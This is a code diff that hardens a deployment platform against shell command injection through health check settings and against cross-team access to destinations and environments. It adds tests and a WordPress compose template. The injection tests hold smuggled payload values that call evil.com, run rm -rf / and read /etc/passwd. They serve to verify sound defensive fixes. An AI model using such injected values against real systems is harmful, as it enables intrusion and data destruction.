Merge 7b72ef1abf into 24abd51238

app/Jobs/ApplicationDeploymentJob.php

@@ -2756,28 +2756,46 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
     private function generate_healthcheck_commands()
     {
         if (! $this->application->health_check_port) {
-            $health_check_port = $this->application->ports_exposes_array[0];
+            $health_check_port = (int) $this->application->ports_exposes_array[0];
         } else {
-            $health_check_port = $this->application->health_check_port;
+            $health_check_port = (int) $this->application->health_check_port;
         }
         if ($this->application->settings->is_static || $this->application->build_pack === 'static') {
             $health_check_port = 80;
         }
-        if ($this->application->health_check_path) {
-            $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path}";
-            $generated_healthchecks_commands = [
-                "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || exit 1",
-            ];
+
+        $method = $this->sanitizeHealthCheckValue($this->application->health_check_method, '/^[A-Z]+$/', 'GET');
+        $scheme = $this->sanitizeHealthCheckValue($this->application->health_check_scheme, '/^https?$/', 'http');
+        $host = $this->sanitizeHealthCheckValue($this->application->health_check_host, '/^[a-zA-Z0-9.\-_]+$/', 'localhost');
+        $path = $this->application->health_check_path
+            ? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%]+$#', '/')
+            : null;
+
+        $url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/'));
+        $method = escapeshellarg($method);
+
+        if ($path) {
+            $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}";
         } else {
-            $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/";
-            $generated_healthchecks_commands = [
-                "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || exit 1",
-            ];
+            $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/";
         }
 
+        $generated_healthchecks_commands = [
+            "curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1",
+        ];
+
         return implode(' ', $generated_healthchecks_commands);
     }
 
+    private function sanitizeHealthCheckValue(string $value, string $pattern, string $default): string
+    {
+        if (preg_match($pattern, $value)) {
+            return $value;
+        }
+
+        return $default;
+    }
+
     private function pull_latest_image($image)
     {
         $this->application_deployment_queue->addLogEntry("Pulling latest image ($image) from the registry.");

app/Livewire/Project/Shared/HealthChecks.php

@@ -16,19 +16,19 @@ class HealthChecks extends Component
     #[Validate(['boolean'])]
     public bool $healthCheckEnabled = false;
 
-    #[Validate(['string'])]
+    #[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
     public string $healthCheckMethod;
 
-    #[Validate(['string'])]
+    #[Validate(['required', 'string', 'in:http,https'])]
     public string $healthCheckScheme;
 
-    #[Validate(['string'])]
+    #[Validate(['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'])]
     public string $healthCheckHost;
 
-    #[Validate(['nullable', 'string'])]
+    #[Validate(['nullable', 'integer', 'min:1', 'max:65535'])]
     public ?string $healthCheckPort = null;
 
-    #[Validate(['string'])]
+    #[Validate(['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'])]
     public string $healthCheckPath;
 
     #[Validate(['integer'])]
@@ -54,12 +54,12 @@ class HealthChecks extends Component
 
     protected $rules = [
         'healthCheckEnabled' => 'boolean',
-        'healthCheckPath' => 'string',
-        'healthCheckPort' => 'nullable|string',
-        'healthCheckHost' => 'string',
-        'healthCheckMethod' => 'string',
+        'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
+        'healthCheckPort' => 'nullable|integer|min:1|max:65535',
+        'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
+        'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS',
         'healthCheckReturnCode' => 'integer',
-        'healthCheckScheme' => 'string',
+        'healthCheckScheme' => 'required|string|in:http,https',
         'healthCheckResponseText' => 'nullable|string',
         'healthCheckInterval' => 'integer|min:1',
         'healthCheckTimeout' => 'integer|min:1',

app/Livewire/Project/Shared/ResourceOperations.php

@@ -49,9 +49,10 @@ class ResourceOperations extends Component
     {
         $this->authorize('update', $this->resource);
 
-        $new_destination = StandaloneDocker::find($destination_id);
+        $teamScope = fn ($q) => $q->where('team_id', currentTeam()->id);
+        $new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id);
         if (! $new_destination) {
-            $new_destination = SwarmDocker::find($destination_id);
+            $new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id);
         }
         if (! $new_destination) {
             return $this->addError('destination_id', 'Destination not found.');
@@ -352,7 +353,7 @@ class ResourceOperations extends Component
     {
         try {
             $this->authorize('update', $this->resource);
-            $new_environment = Environment::findOrFail($environment_id);
+            $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id);
             $this->resource->update([
                 'environment_id' => $environment_id,
             ]);

app/Policies/StandaloneDockerPolicy.php

@@ -37,8 +37,7 @@ class StandaloneDockerPolicy
      */
     public function update(User $user, StandaloneDocker $standaloneDocker): bool
     {
-        // return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id);
-        return true;
+        return $user->teams->contains('id', $standaloneDocker->server->team_id);
     }
 
     /**
@@ -46,8 +45,7 @@ class StandaloneDockerPolicy
      */
     public function delete(User $user, StandaloneDocker $standaloneDocker): bool
     {
-        // return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id);
-        return true;
+        return $user->teams->contains('id', $standaloneDocker->server->team_id);
     }
 
     /**
@@ -55,8 +53,7 @@ class StandaloneDockerPolicy
      */
     public function restore(User $user, StandaloneDocker $standaloneDocker): bool
     {
-        // return false;
-        return true;
+        return false;
     }
 
     /**
@@ -64,7 +61,6 @@ class StandaloneDockerPolicy
      */
     public function forceDelete(User $user, StandaloneDocker $standaloneDocker): bool
     {
-        // return false;
-        return true;
+        return false;
     }
 }

app/Policies/SwarmDockerPolicy.php

@@ -37,8 +37,7 @@ class SwarmDockerPolicy
      */
     public function update(User $user, SwarmDocker $swarmDocker): bool
     {
-        // return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id);
-        return true;
+        return $user->teams->contains('id', $swarmDocker->server->team_id);
     }
 
     /**
@@ -46,8 +45,7 @@ class SwarmDockerPolicy
      */
     public function delete(User $user, SwarmDocker $swarmDocker): bool
     {
-        // return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id);
-        return true;
+        return $user->teams->contains('id', $swarmDocker->server->team_id);
     }
 
     /**
@@ -55,8 +53,7 @@ class SwarmDockerPolicy
      */
     public function restore(User $user, SwarmDocker $swarmDocker): bool
     {
-        // return false;
-        return true;
+        return false;
     }
 
     /**
@@ -64,7 +61,6 @@ class SwarmDockerPolicy
      */
     public function forceDelete(User $user, SwarmDocker $swarmDocker): bool
     {
-        // return false;
-        return true;
+        return false;
     }
 }

bootstrap/helpers/api.php

@@ -104,12 +104,12 @@ function sharedDataApplications()
         'base_directory' => 'string|nullable',
         'publish_directory' => 'string|nullable',
         'health_check_enabled' => 'boolean',
-        'health_check_path' => 'string',
-        'health_check_port' => 'string|nullable',
-        'health_check_host' => 'string',
-        'health_check_method' => 'string',
+        'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
+        'health_check_port' => 'integer|nullable|min:1|max:65535',
+        'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
+        'health_check_method' => 'string|in:GET,HEAD,POST,OPTIONS',
         'health_check_return_code' => 'numeric',
-        'health_check_scheme' => 'string',
+        'health_check_scheme' => 'string|in:http,https',
         'health_check_response_text' => 'string|nullable',
         'health_check_interval' => 'numeric',
         'health_check_timeout' => 'numeric',

bootstrap/helpers/applications.php

@@ -191,6 +191,10 @@ function clone_application(Application $source, $destination, array $overrides =
     $uuid = $overrides['uuid'] ?? (string) new Cuid2;
     $server = $destination->server;
 
+    if ($server->team_id !== currentTeam()->id) {
+        throw new \RuntimeException('Destination does not belong to the current team.');
+    }
+
     // Prepare name and URL
     $name = $overrides['name'] ?? 'clone-of-'.str($source->name)->limit(20).'-'.$uuid;
     $applicationSettings = $source->settings;

templates/compose/wordpress-with-openlitespeed-mariadb.yaml

@@ -0,0 +1,51 @@
+# documentation: https://wordpress.org
+# slogan: WordPress is open source software you can use to create a beautiful website, blog, or app.
+# category: cms
+# tags: cms, blog, content, management, mariadb, openlitespeed
+# logo: svgs/wordpress.svg
+
+services:
+  wordpress:
+    image: litespeedtech/openlitespeed:latest
+    volumes:
+      - wordpress-files:/var/www/vhosts/localhost/html
+    environment:
+      - SERVICE_URL_WORDPRESS
+      - WORDPRESS_DB_HOST=mariadb
+      - WORDPRESS_DB_USER=$SERVICE_USER_WORDPRESS
+      - WORDPRESS_DB_PASSWORD=$SERVICE_PASSWORD_WORDPRESS
+      - WORDPRESS_DB_NAME=wordpress
+    depends_on:
+      - mariadb
+    entrypoint: ["/bin/sh", "-c"]
+    command: |
+      set -e
+      DOCROOT="/var/www/vhosts/localhost/html"
+      if [ ! -f "$${DOCROOT}/wp-config.php" ]; then
+        mkdir -p "$${DOCROOT}"
+        curl -sL https://wordpress.org/latest.tar.gz | tar -xz -C /tmp
+        cp -R /tmp/wordpress/. "$${DOCROOT}"
+        rm -rf /tmp/wordpress
+        wp config create --path="$${DOCROOT}" --dbname="$${WORDPRESS_DB_NAME}" --dbuser="$${WORDPRESS_DB_USER}" --dbpass="$${WORDPRESS_DB_PASSWORD}" --dbhost="$${WORDPRESS_DB_HOST}" --skip-check --allow-root
+        chown -R 1000:1000 "$${DOCROOT}"
+      fi
+      exec /entrypoint.sh
+    healthcheck:
+      test: ["CMD", "curl", "-f", "http://127.0.0.1"]
+      interval: 2s
+      timeout: 10s
+      retries: 10
+  mariadb:
+    image: mariadb:11
+    volumes:
+      - mariadb-data:/var/lib/mysql
+    environment:
+      - MYSQL_ROOT_PASSWORD=$SERVICE_PASSWORD_ROOT
+      - MYSQL_DATABASE=wordpress
+      - MYSQL_USER=$SERVICE_USER_WORDPRESS
+      - MYSQL_PASSWORD=$SERVICE_PASSWORD_WORDPRESS
+    healthcheck:
+      test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
+      interval: 5s
+      timeout: 20s
+      retries: 10

tests/Feature/ResourceOperationsCrossTenantTest.php

@@ -0,0 +1,85 @@
+<?php
+
+use App\Livewire\Project\Shared\ResourceOperations;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Livewire\Livewire;
+
+beforeEach(function () {
+    // Team A (attacker's team)
+    $this->userA = User::factory()->create();
+    $this->teamA = Team::factory()->create();
+    $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+    $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+    $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
+    $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+    $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+    $this->applicationA = Application::factory()->create([
+        'environment_id' => $this->environmentA->id,
+        'destination_id' => $this->destinationA->id,
+        'destination_type' => $this->destinationA->getMorphClass(),
+    ]);
+
+    // Team B (victim's team)
+    $this->teamB = Team::factory()->create();
+    $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+    $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
+    $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+    $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+});
+
+test('cloneTo rejects destination belonging to another team', function () {
+    Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+        ->call('cloneTo', $this->destinationB->id)
+        ->assertHasErrors('destination_id');
+
+    // Ensure no cross-tenant application was created
+    expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
+});
+
+test('cloneTo allows destination belonging to own team', function () {
+    $secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
+
+    Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+        ->call('cloneTo', $secondDestination->id)
+        ->assertHasNoErrors('destination_id')
+        ->assertRedirect();
+});
+
+test('moveTo rejects environment belonging to another team', function () {
+    Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+        ->call('moveTo', $this->environmentB->id);
+
+    // Resource should still be in original environment
+    $this->applicationA->refresh();
+    expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
+});
+
+test('moveTo allows environment belonging to own team', function () {
+    $secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+    Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+        ->call('moveTo', $secondEnvironment->id)
+        ->assertRedirect();
+
+    $this->applicationA->refresh();
+    expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
+});
+
+test('StandaloneDockerPolicy denies update for cross-team user', function () {
+    expect($this->userA->can('update', $this->destinationB))->toBeFalse();
+});
+
+test('StandaloneDockerPolicy allows update for same-team user', function () {
+    expect($this->userA->can('update', $this->destinationA))->toBeTrue();
+});

tests/Unit/HealthCheckCommandInjectionTest.php

@@ -0,0 +1,211 @@
+<?php
+
+use App\Jobs\ApplicationDeploymentJob;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
+use App\Models\ApplicationSetting;
+use Illuminate\Support\Facades\Validator;
+use Mockery;
+
+beforeEach(function () {
+    Mockery::close();
+});
+
+afterEach(function () {
+    Mockery::close();
+});
+
+it('sanitizes health_check_host to prevent command injection', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_host' => 'localhost; id > /tmp/pwned #',
+    ]);
+
+    // Should fall back to 'localhost' because input contains shell metacharacters
+    expect($result)->not->toContain('; id')
+        ->and($result)->not->toContain('/tmp/pwned')
+        ->and($result)->toContain('localhost');
+});
+
+it('sanitizes health_check_method to prevent command injection', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_method' => 'GET; curl http://evil.com #',
+    ]);
+
+    expect($result)->not->toContain('evil.com')
+        ->and($result)->not->toContain('; curl');
+});
+
+it('sanitizes health_check_path to prevent command injection', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_path' => '/health; rm -rf / #',
+    ]);
+
+    expect($result)->not->toContain('rm -rf')
+        ->and($result)->not->toContain('; rm');
+});
+
+it('sanitizes health_check_scheme to prevent command injection', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_scheme' => 'http; cat /etc/passwd #',
+    ]);
+
+    expect($result)->not->toContain('/etc/passwd')
+        ->and($result)->not->toContain('; cat');
+});
+
+it('casts health_check_port to integer to prevent injection', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_port' => '8080; whoami',
+    ]);
+
+    // (int) cast on non-numeric after digits yields 8080
+    expect($result)->not->toContain('whoami')
+        ->and($result)->toContain('8080');
+});
+
+it('generates valid healthcheck command with safe inputs', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_method' => 'GET',
+        'health_check_scheme' => 'http',
+        'health_check_host' => 'localhost',
+        'health_check_port' => '8080',
+        'health_check_path' => '/health',
+    ]);
+
+    expect($result)->toContain('curl -s -X')
+        ->and($result)->toContain('http://localhost:8080/health')
+        ->and($result)->toContain('wget -q -O-');
+});
+
+it('uses escapeshellarg on the constructed URL', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_host' => 'my-app.local',
+        'health_check_path' => '/api/health',
+    ]);
+
+    // escapeshellarg wraps in single quotes
+    expect($result)->toContain("'http://my-app.local:80/api/health'");
+});
+
+it('validates health_check_host rejects shell metacharacters via API rules', function () {
+    $rules = sharedDataApplications();
+
+    $validator = Validator::make(
+        ['health_check_host' => 'localhost; id #'],
+        ['health_check_host' => $rules['health_check_host']]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_method rejects invalid methods via API rules', function () {
+    $rules = sharedDataApplications();
+
+    $validator = Validator::make(
+        ['health_check_method' => 'GET; curl evil.com'],
+        ['health_check_method' => $rules['health_check_method']]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_scheme rejects invalid schemes via API rules', function () {
+    $rules = sharedDataApplications();
+
+    $validator = Validator::make(
+        ['health_check_scheme' => 'http; whoami'],
+        ['health_check_scheme' => $rules['health_check_scheme']]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_path rejects shell metacharacters via API rules', function () {
+    $rules = sharedDataApplications();
+
+    $validator = Validator::make(
+        ['health_check_path' => '/health; rm -rf /'],
+        ['health_check_path' => $rules['health_check_path']]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_port rejects non-numeric values via API rules', function () {
+    $rules = sharedDataApplications();
+
+    $validator = Validator::make(
+        ['health_check_port' => '8080; whoami'],
+        ['health_check_port' => $rules['health_check_port']]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('allows valid health check values via API rules', function () {
+    $rules = sharedDataApplications();
+
+    $validator = Validator::make(
+        [
+            'health_check_host' => 'my-app.localhost',
+            'health_check_method' => 'GET',
+            'health_check_scheme' => 'https',
+            'health_check_path' => '/api/v1/health',
+            'health_check_port' => 8080,
+        ],
+        [
+            'health_check_host' => $rules['health_check_host'],
+            'health_check_method' => $rules['health_check_method'],
+            'health_check_scheme' => $rules['health_check_scheme'],
+            'health_check_path' => $rules['health_check_path'],
+            'health_check_port' => $rules['health_check_port'],
+        ]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
+/**
+ * Helper: Invokes the private generate_healthcheck_commands() method via reflection.
+ */
+function callGenerateHealthcheckCommands(array $overrides = []): string
+{
+    $defaults = [
+        'health_check_method' => 'GET',
+        'health_check_scheme' => 'http',
+        'health_check_host' => 'localhost',
+        'health_check_port' => null,
+        'health_check_path' => '/',
+        'ports_exposes' => '80',
+    ];
+
+    $values = array_merge($defaults, $overrides);
+
+    $application = Mockery::mock(Application::class)->makePartial();
+    $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
+    $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
+    $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
+    $application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
+    $application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
+    $application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
+    $application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
+
+    $settings = Mockery::mock(ApplicationSetting::class)->makePartial();
+    $settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
+    $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
+
+    $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+    $reflection = new ReflectionClass($job);
+
+    $appProp = $reflection->getProperty('application');
+    $appProp->setAccessible(true);
+    $appProp->setValue($job, $application);
+
+    $method = $reflection->getMethod('generate_healthcheck_commands');
+    $method->setAccessible(true);
+
+    return $method->invoke($job);
+}